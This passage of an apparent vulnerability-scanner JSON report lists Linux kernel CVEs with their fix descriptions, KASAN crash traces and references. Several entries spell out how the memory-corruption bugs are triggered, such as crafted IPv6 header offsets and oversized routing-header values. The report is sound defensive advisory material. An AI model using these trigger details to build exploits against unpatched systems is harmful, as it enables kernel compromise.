a netlink transaction, and the\ndrain in nft_commit_notify() (net/netfilter/nf_tables_api.c:10746) does\nlist_del() + kfree_skb() from nf_tables_commit() with commit_mutex held.\n\nSending packets through a chain that references a depleted quota object\ntherefore races an unlocked list_add_tail() against list_del() +\nkfree_skb() on another CPU. The WRITE_ONCE(prev-\u003enext, new) in __list_add()\nthen stores through an sk_buff that has already been freed:\n\n BUG: KASAN: slab-use-after-free in __nft_obj_notify+0x2c5/0x2d0\n Write of size 8 at addr ff110001047183c0 by task poc/76\n CPU: 0 UID: 1000 PID: 76 Comm: poc Tainted: G W 7.2.0-rc6-kasan72rc6 #4\n Call Trace:\n \u003cIRQ\u003e\n __nft_obj_notify (include/linux/list.h:164 include/linux/list.h:191\n net/netfilter/nf_tables_api.c:1211\n net/netfilter/nf_tables_api.c:8743)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain_inet\n nf_hook_slow\n __ip_local_out\n ip_push_pending_frames\n udp_send_skb\n udp_sendmsg\n __x64_sys_sendto\n\n Allocated by task 77:\n __alloc_skb (net/core/skbuff.c:704)\n __nft_obj_notify (include/net/netlink.h:1055\n net/netfilter/nf_tables_api.c:8731)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain\n\n Freed by task 79:\n nf_tables_commit (include/linux/skbuff.h:1332\n net/netfilter/nf_tables_api.c:10759\n net/netfilter/nf_tables_api.c:11185)\n nfnetlink_rcv_batch (net/netfilter/nfnetlink.c:574)\n netlink_unicast\n netlink_sendmsg\n\n The buggy address belongs to the cache skbuff_head_cache of size 232\n\nQueueing from the packet path is wrong even leaving the race aside:\nnotify_list is only drained by nft_commit_notify() from nf_tables_commit()\n(:11185), so a notification enqueued outside a transaction is not sent\nuntil some later netlink batch commits, if one ever does.\n\nThe gfp argument that nft_obj_notify() still takes is a leftover of the\npre-67cc570edaa0 behaviour, where this path called nfnetlink_send()\ndirectly. Restore that: split the message construction out into\nnft_obj_notify_alloc() and let each caller decide what to do with the skb.\nnft_obj_notify(), the exported one reached from the packet path, sends it\nstraight away; nf_tables_obj_notify(), which runs under commit_mutex, keeps\nqueueing it, so transaction notifications are still coalesced.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80837", "https://git.kernel.org/linus/7904b94768e983bcb2be34a8d6d1f3450f5b838b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80837.mbox", "https://git.kernel.org/stable/c/68de7f3a38acab355c24114f77bf00d3094ce4da", "https://git.kernel.org/stable/c/6989f298103f575a768a85e4b19d2384709237f8", "https://git.kernel.org/stable/c/6fa88d11983c6fe693c13ed7c5b3b75ae9f39de6", "https://git.kernel.org/stable/c/7904b94768e983bcb2be34a8d6d1f3450f5b838b", "https://git.kernel.org/stable/c/df86c0e84025be8b6dd572a20852698927aa666b", "https://git.kernel.org/stable/c/e97e2d6d0b150fd78be573f9fdf193f204d9334e", "https://git.kernel.org/stable/c/f010756ed75ac003146a1cbc93501092343bb3a3", "https://linux.oracle.com/cve/CVE-2026-80837.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80837", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80837" ], "PublishedDate": "2026-09-04T16:18:12.03Z", "LastModifiedDate": "2026-10-30T13:20:11.983Z" }, { "VulnerabilityID": "CVE-2026-80840", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80840", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0b6e21513cc531cec3600997c90916cce02d0e507c20f58d5c7fa2a6158d0c6c", "Title": "kernel: ipv6: seg6: clear IPv4 control block on IPIP decapsulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: seg6: clear IPv4 control block on IPIP decapsulation\n\nEnd.DX4 and End.DT4 decapsulate an IPv4 packet through\ndecap_and_validate() and send it directly to IPv4 routing. The inner\npacket therefore bypasses ip_rcv_core(), which normally clears IPCB\nbefore IPv4 interprets skb-\u003ecb.\n\nThe skb instead retains IP6CB data from the outer packet. IP6CB and\nIPCB use the same skb-\u003ecb storage, so IP6CB(skb)-\u003elastopt overlaps\nIPCB(skb)-\u003eopt.optlen and srr, while IP6CB(skb)-\u003enhoff overlaps rr and\nts.\n\nThe sender can make the stale optlen byte nonzero with a valid outer\nextension-header chain. The reproducers put an eight-byte Destination\nOptions header immediately after the 40-byte IPv6 header and before the\nSegment Routing Header. ipv6_destopt_rcv() records the sender-controlled\nDestination Options offset in both lastopt and nhoff, setting them to\n40. On the reproduced little-endian x86-64 kernel, IPv4 therefore sees\noptlen = 40 and rr = 40.\n\nBoth tcp_v4_save_options() and __ip_options_echo() skip option copying\nwhen optlen is zero. Here optlen is 40, so the TCP SYN path allocates\nroom for 40 bytes of option data and calls __ip_options_echo(). The\nstale rr value makes that function read inner packet byte 41 as the\nRecord Route option length. The reproducers set that sender-controlled\nbyte to 255, so __ip_options_echo() copies 255 bytes into the 40-byte\noption-data area.\n\nSeparate End.DX4 and End.DT4 reproducers on the unpatched v7.2-rc5\nkernel both produced:\n\n BUG: KASAN: slab-out-of-bounds in __ip_options_echo()\n Write of size 255\n\nThe relevant End.DX4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dx4_finish\n input_action_end_dx4\n\nThe relevant End.DT4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dt4\n\ntcp_v4_save_options() is inlined into the tcp_v4_route_req() path, so\nit does not appear as a separate frame.\n\nWhen decap_and_validate() handles IPPROTO_IPIP, save the ingress\ninterface from IP6CB, clear IPCB, and restore the saved value. Doing\nthis in the common decapsulation path covers End.DX4, End.DT4, and\nEnd.DT46's IPv4 arm.\n\nUse IP6CB(skb)-\u003eiif rather than skb-\u003eskb_iif. These actions run after\nl3mdev processing, which can replace skb_iif with the L3 master;\nIP6CB iif still records the receiving interface set at IPv6 ingress.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80840", "https://git.kernel.org/linus/44930446dde45a7a90fe1446fa38eb0e2c561646%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80840.mbox", "https://git.kernel.org/stable/c/0e3f01fe2e704e76af4385b8a1742641885a191c", "https://git.kernel.org/stable/c/10fd1a8f58ac619a9e251f2858e2e2c8fd6cd667", "https://git.kernel.org/stable/c/3e4476e58343fb8f2fffced9e22d935376b17aaf", "https://git.kernel.org/stable/c/44930446dde45a7a90fe1446fa38eb0e2c561646", "https://git.kernel.org/stable/c/9039e4f3e1c0ffe2b575b655b3f58fdd10f7e40c", "https://git.kernel.org/stable/c/bf1c1151560d11036a144d917fa4c131831342d7", "https://git.kernel.org/stable/c/eb0f422487228e140f3d609b032ac61aedcab8fa", "https://git.kernel.org/stable/c/f4be3b391265e24c7720fc867c50062b436acf33", "https://git.kernel.org/stable/c/f52f1e75716d2ee49e013edf204ac92337c72fd8", "https://linux.oracle.com/cve/CVE-2026-80840.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80840", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80840" ], "PublishedDate": "2026-09-04T16:18:12.44Z", "LastModifiedDate": "2026-10-19T09:17:19.333Z" }, { "VulnerabilityID": "CVE-2026-80841", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80841", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1556dc32725b3e2d284f6084a542314325b61ad0dd13b0e7f9db1b14348fbf66", "Title": "kernel: net/packet: defer vmalloc TX_RING free until skbs finish", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/packet: defer vmalloc TX_RING free until skbs finish\n\nAF_PACKET TX_RING skbs keep a raw pointer to their ring frame. The skb\npage references preserve page-backed ring blocks after pg_vec is freed,\nbut they do not preserve a vmalloc mapping.\n\ntpacket_destruct_skb() currently drops the pending reference before\nwriting the timestamp and TP_STATUS_AVAILABLE to the frame. Move the\ndecrement after those stores. The smp_wmb() in __packet_set_status()\norders the frame stores before the decrement.\n\nAlso recheck pending TX frames under pg_vec_lock before non-closing\nring replacement, so a racing send cannot add a pending skb between\nthe initial check and the ring swap.\n\nRing allocation can produce a mixture of page-backed and vmalloc-backed\nblocks. Allocate deferred-work storage during TX ring setup when the\nfirst vmalloc-backed block is encountered, and keep its pointer in the\npg_vec allocation header. If allocation fails, return -ENOMEM from ring\nsetup. On socket close, a non-NULL pointer identifies a vmalloc-backed\nvector without a scan. If TX skbs remain, defer the whole vector to\nsystem_long_wq.\n\nAfter pg_vec is detached, a late destructor can skip the pending\ndecrement. Use socket write-memory accounting as the deferred lifetime\ngate instead: an skb remains charged through its final sock_wfree(),\nafter all ring-frame accesses. The delayed work retains a socket\nreference and reschedules itself until no TX skbs remain.\n\nMove pending_refcnt release to packet_sock_destruct() so late skb\ndestructors and deferred cleanup can safely use it after\npacket_release(). Page-backed teardown remains synchronous, and no lock\nis added to the TX completion hot path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80841", "https://access.redhat.com/security/cve/CVE-2026-80841", "https://git.kernel.org/linus/992cc9f94ca924089a506ba9b327caa9af797529%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80841.mbox", "https://git.kernel.org/stable/c/0189dce07db2dc059ae0570e06758ec4233c6e11", "https://git.kernel.org/stable/c/4ce6e2d2e38055b2012bd5fdb0c8a8183c8a1b0c", "https://git.kernel.org/stable/c/550d00aa58193fb649a09a9c9e338c685adad784", "https://git.kernel.org/stable/c/992cc9f94ca924089a506ba9b327caa9af797529", "https://git.kernel.org/stable/c/debf9f50140b3df3949ebcb97d4450f8993fe32d", "https://git.kernel.org/stable/c/ed126ca71d4d949ad99f40b974a8f7685e808f8b", "https://git.kernel.org/stable/c/ed25ed29034ddc3dbe451ccbaa58ab9932f99d8b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-oesfvvke48v0.toml", "https://linux.oracle.com/cve/CVE-2026-80841.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80841", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80841" ], "PublishedDate": "2026-09-04T16:18:12.607Z", "LastModifiedDate": "2026-10-30T13:20:12.13Z" }, { "VulnerabilityID": "CVE-2026-80842", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80842", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a338942111c114389719b3b9d7ec4d5601659ce93934cf61c5b813fee2273b8a", "Title": "kernel: net: bridge: mcast: fix use-after-free of a master VLAN's multicast context", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mcast: fix use-after-free of a master VLAN's multicast context\n\nbr_multicast_toggle_one_vlan() clears BR_VLFLAG_MCAST_ENABLED under\nbr-\u003emulticast_lock before stopping a VLAN's multicast context. That is\nthe teardown handshake: lockless readers gate on the flag through\nbr_multicast_ctx_should_use() -\u003e br_multicast_ctx_vlan_disabled(), so\nonce it is cleared under the lock no reader can arm the context again.\n\nFor a master VLAN the handshake never runs. __vlan_del() clears\nBRIDGE_VLAN_INFO_BRENTRY before calling br_vlan_put_master(), so\nbr_multicast_toggle_one_vlan(masterv, false) returns early on\n!br_vlan_is_brentry(vlan): the flag stays set and br-\u003emulticast_lock is\nnever taken. br_vlan_put_master() then drains the context in\nbr_multicast_ctx_deinit() and frees the VLAN through call_rcu(), while a\nreader still inside rcu_read_lock() sees the context as enabled and\nre-arms it. The port and port-VLAN branch of the function has no\nbr_vlan_is_brentry() test and flips the flag under br-\u003emulticast_lock,\nso it is not affected.\n\nThe reader is the bridge transmit path. For a master VLAN\nbr_multicast_rcv() selects brmctx = \u0026vlan-\u003ebr_mcast_ctx with\npmctx = NULL, so IGMP sent to the bridge device re-arms the context's\ntimers after br_multicast_ctx_deinit() has already stopped them.\n\n BUG: KASAN: slab-use-after-free in detach_if_pending+0x412/0x4a0\n Write of size 8 at addr ffff88810ac39918 by task brmc/601\n __mod_timer+0x51a/0xc50\n br_multicast_host_join+0x25b/0x390\n __br_multicast_add_group+0x468/0x530\n br_ip4_multicast_add_group+0x1a0/0x260\n br_multicast_rcv+0x2cda/0x61e0\n br_dev_xmit+0x6c4/0x1540\n Allocated by task 610:\n br_vlan_add+0x111/0xb40\n br_vlan_info+0x370/0x3e0\n Freed by task 0:\n kfree+0x1a7/0x4f0\n rcu_core+0x7dc/0x10a0\n\nOnly test br_vlan_is_brentry() when enabling, like the\nbr_multicast_ctx_vlan_global_disabled() test next to it. Disabling then\nalways clears BR_VLFLAG_MCAST_ENABLED under br-\u003emulticast_lock before\nbr_multicast_ctx_deinit() drains the context.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80842", "https://git.kernel.org/linus/50e5c6605cc9c2dd57bd2d1b3459674d19738983%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80842.mbox", "https://git.kernel.org/stable/c/22226a2c3b90f15b0925f1464470d3baa6c5677e", "https://git.kernel.org/stable/c/3a0ad4fcdfa0b7dba1876de14a12cb65c8b5ca50", "https://git.kernel.org/stable/c/3afaaee2f972aec9059110953adb62fa3cf5c4bd", "https://git.kernel.org/stable/c/3f4752996735e0628af559aa8da1d872c2fac13b", "https://git.kernel.org/stable/c/50e5c6605cc9c2dd57bd2d1b3459674d19738983", "https://git.kernel.org/stable/c/57f94d3f4dee8b54d63cefddf1112be4656ef9e6", "https://git.kernel.org/stable/c/7c54fd8cfbcf371a5ef50db5c53fe6e85fb76686", "https://git.kernel.org/stable/c/c069f29da72324697aa4b7cab5b3647a7d24a575", "https://linux.oracle.com/cve/CVE-2026-80842.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80842", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80842" ], "PublishedDate": "2026-09-04T16:18:12.727Z", "LastModifiedDate": "2026-10-19T09:17:19.597Z" }, { "VulnerabilityID": "CVE-2026-80844", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a9d906b219c84f81d47da9ac0b4e37d71d0104b897b5766b54188d2e42caf4f", "Title": "kernel: xfrm: ah6: validate routing header segments_left", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: ah6: validate routing header segments_left\n\nAH6 rearranges routing-header addresses before computing or verifying the\nICV. ipv6_rearrange_rthdr() assumes that segments_left is not larger than\nthe number of addresses described by the routing header's hdrlen field.\n\nThat assumption does not hold for raw IPv6 HDRINCL packets. A packet with\nhdrlen equal to 2 describes one address, but can carry an arbitrary\nsegments_left value. With segments_left equal to 255, the function moves\nits address pointer 4,064 bytes backwards and passes a 4,064-byte length to\nmemmove(), resulting in an out-of-bounds access.\n\nValidate the invariant locally before modifying the routing header or\nperforming any address-pointer arithmetic, and propagate malformed-header\nerrors to the existing AH6 input and output error paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-80844", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/7bad4bda74dc4713f398d3b7624ff05478e3a568%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80844.mbox", "https://git.kernel.org/stable/c/0bf11081ad3753938a2b48723ce6298dbac743a1", "https://git.kernel.org/stable/c/1516e31ac458a738be485620579d8f7fb2700fcb", "https://git.kernel.org/stable/c/1b7e066eabcc7d6d8f476c34739b45932f2f4c31", "https://git.kernel.org/stable/c/2dc650956e4e163b879b3fb1027f9557abc5c985", "https://git.kernel.org/stable/c/46640c814f25f096b0b0045ca50e1b7030cd8a30", "https://git.kernel.org/stable/c/48b0e36cf54358276ee7aa897034c973097d2bc9", "https://git.kernel.org/stable/c/6733ae71268a27d598cfb3f3339a3c950b9b656d", "https://git.kernel.org/stable/c/7bad4bda74dc4713f398d3b7624ff05478e3a568", "https://git.kernel.org/stable/c/f00df8500e5a36ba70d336fd34bd2152ea074e5f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-dya77m460e9r.toml", "https://linux.oracle.com/cve/CVE-2026-80844.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80844", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80844" ], "PublishedDate": "2026-09-04T16:18:13.023Z", "LastModifiedDate": "2026-11-06T17:19:59.287Z" }, { "VulnerabilityID": "CVE-2026-80848", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80848", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a015e96e802e1009d0d33e5bffca95aa83ffd4eaf2c219fe6c29a0325283ed86", "Title": "kernel: xfrm: espintcp: fix UAF during close", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: espintcp: fix UAF during close\n\nZDI reported and analyzed a race condition during close for espintcp\nsockets:\n\n espintcp_close() frees emsg-\u003eskb via kfree_skb() without holding\n any socket lock. Concurrently, the xfrm_trans_reinject work queue\n invokes esp_output_tcp_finish() -\u003e espintcp_push_skb() -\u003e\n espintcp_push_msgs() -\u003e skb_send_sock_locked(), which reads the\n same skb as a data source.\n\nFix this by adding a synchronize_rcu() call after resetting sk_prot,\nsince esp_output_tcp_finish() runs under RCU and won't use a socket\nwith sk_prot == \u0026tcp_prot. Simply taking the socket lock in\nespintcp_close() could lead to leaks, if esp_output_tcp_finish()\nre-adds an skb in the slot we just freed. After this, the existing\nbarrier() is no longer needed.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80848", "https://git.kernel.org/linus/deb232e884877bf10b4ce2580909eedec986c284%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80848.mbox", "https://git.kernel.org/stable/c/24efebecf415ba264adba0f0491cec436463a14f", "https://git.kernel.org/stable/c/29121c5e6591da527e8e36ddac7120dc527f574d", "https://git.kernel.org/stable/c/4b31a875693c480c611519faca46216514e3e052", "https://git.kernel.org/stable/c/4bc0dfa28dca6fc0084203732695968049c44072", "https://git.kernel.org/stable/c/54b41ad14da9a981131ab6e4d3f79321a503ea5d", "https://git.kernel.org/stable/c/deb232e884877bf10b4ce2580909eedec986c284", "https://git.kernel.org/stable/c/eb3bbf29c723fe75c0eb92be14f0ec92971fe272", "https://git.kernel.org/stable/c/ed5d9102190c45fc70121c036b0626b740040b75", "https://git.kernel.org/stable/c/ff8dd7a932f34409a56e1b91a1219340f17457e9", "https://nvd.nist.gov/vuln/detail/CVE-2026-80848", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80848" ], "PublishedDate": "2026-09-04T16:18:13.54Z", "LastModifiedDate": "2026-10-19T09:17:20.307Z" }, { "VulnerabilityID": "CVE-2026-80849", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80849", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9405ffd70d71f4cf99da75ca200998bc4065a69bf41bbb74888c151541030772", "Title": "kernel: net/tcp-ao: fix use-after-free of current_key on reconnect to another peer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp-ao: fix use-after-free of current_key on reconnect to another peer\n\ntcp_inbound_ao_hash() is called before bh_lock_sock_nested() is taken,\nwith only rcu_read_lock() held. On the fast path for established\nsockets, if the rnext_keyid sent by the peer differs from\ncurrent_key-\u003esndid, the key the peer asked for is looked up and stored\nin current_key. The lookup is inside the RCU read side, but current_key\noutlives it.\n\nWhen the socket is disconnected and connect() is called again for\nanother peer, tcp_ao_connect_init() unlinks every key that does not\nmatch the new peer and frees it with call_rcu(). If current_key points\nat such a key, it is cleared to NULL.\n\nThe fast path reads sk_state only once on entry, so a softirq that got\ninto it while the socket was still established can update current_key\nafter that loop has already run. The update is inside the RCU read side,\nso it comes before the call_rcu() callback, and once the callback frees\nthe key, current_key is left pointing at freed memory.\n\nThe next transmission picks that pointer up in tcp_get_current_key().\ntcp_ao_transmit_skb() then reads the traffic key from the freed object,\nwhich is the use-after-free.\n\nWait for one grace period before unlinking, and only if a key is going\nto be 